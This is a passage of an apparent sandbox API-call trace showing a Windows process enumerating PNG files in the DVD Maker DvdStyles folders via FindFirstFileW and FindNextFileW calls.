ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.181] GetLastError () returned 0x12 [0053.181] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0053.181] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0053.181] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.181] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0053.182] GetLastError () returned 0x12 [0053.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0053.184] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.184] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0053.184] GetLastError () returned 0x12 [0053.184] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0053.184] GetLastError () returned 0x12 [0053.184] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0053.184] GetLastError () returned 0x12 [0053.184] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0053.184] GetLastError () returned 0x12 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0053.185] GetLastError () returned 0x12 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0053.185] GetLastError () returned 0x12 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0053.185] GetLastError () returned 0x12 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0053.185] GetLastError () returned 0x12 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0053.185] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0053.186] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0053.186] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0053.186] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.186] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0053.186] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.186] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.186] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.187] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.187] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.187] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.187] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0053.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0053.188] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.188] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0053.189] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0053.189] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0053.190] HeapFree (in: 